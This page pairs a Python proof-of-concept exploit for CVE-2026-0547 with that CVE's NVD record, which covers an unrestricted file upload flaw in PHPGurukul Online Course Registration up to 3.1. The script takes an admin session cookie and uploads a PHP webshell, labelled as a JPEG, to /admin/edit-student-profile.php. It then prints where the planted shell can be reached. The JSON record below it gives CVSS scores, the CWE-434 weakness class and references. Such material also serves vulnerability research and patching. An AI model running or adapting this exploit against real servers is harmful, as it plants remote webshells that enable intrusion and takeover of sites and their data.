CVE-2026-0547

import requests import sys # CVE-2026-0547 PoC - Unrestricted File Upload in PHPGurukul Online Course Registration # Target: /admin/edit-student-profile.php def exploit(target_url, session_cookie, php_shell_path): """ Exploit for CVE-2026-0547 Args: target_url: Base URL of the vulnerable application session_cookie: Valid admin session cookie php_shell_path: Path to PHP webshell file """ upload_url = f"{target_url}/admin/edit-student-profile.php" # Prepare malicious file upload files = { 'photo': ('shell.php', open(php_shell_path, 'rb'), 'image/jpeg') } headers = { 'Cookie': session_cookie, 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)' } try: response = requests.post(upload_url, files=files, headers=headers) if response.status_code == 200: print("[+] File uploaded successfully") print(f"[+] Access shell at: {target_url}/admin/uploaded_photos/shell.php") else: print("[-] Upload failed") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 4: print(f"Usage: python {sys.argv[0]} <target_url> <session_cookie> <php_shell_path>") sys.exit(1) exploit(sys.argv[1], sys.argv[2], sys.argv[3])

{"cve": {"id": "CVE-2026-0547", "sourceIdentifier": "[email protected]", "published": "2026-01-02T10:15:41.510", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability was found in PHPGurukul Online Course Registration up to 3.1. This issue affects some unknown processing of the file /admin/edit-student-profile.php of the component Student Registration Page. The manipulation of the argument photo results in unrestricted upload. The attack may be launched remotely. The exploit has been made public and could be used."}, {"lang": "es", "value": "Una vulnerabilidad fue encontrada en PHPGurukul Online Course Registration hasta la versión 3.1. Este problema afecta a algún procesamiento desconocido del archivo /admin/edit-student-profile.php del componente Página de Registro de Estudiantes. La manipulación del argumento photo resulta en carga sin restricciones. El ataque puede ser lanzado remotamente. El exploit ha sido hecho público y podría ser usado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-434"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-434"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:phpgurukul:online_course_registration:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.1", "matchCriteriaId": "C1AC601F-C851-49CE-B60E-B8A662293ED3"}]}]}], "references": [{"url": "https://github.com/rsecroot/Online-Course-Registration/blob/main/Cross%20Site%20Scripting.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://phpgurukul.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://vuldb.com/?ctiid.339355", "source": "[email protected]", "tags": ["Permissions Required" ... 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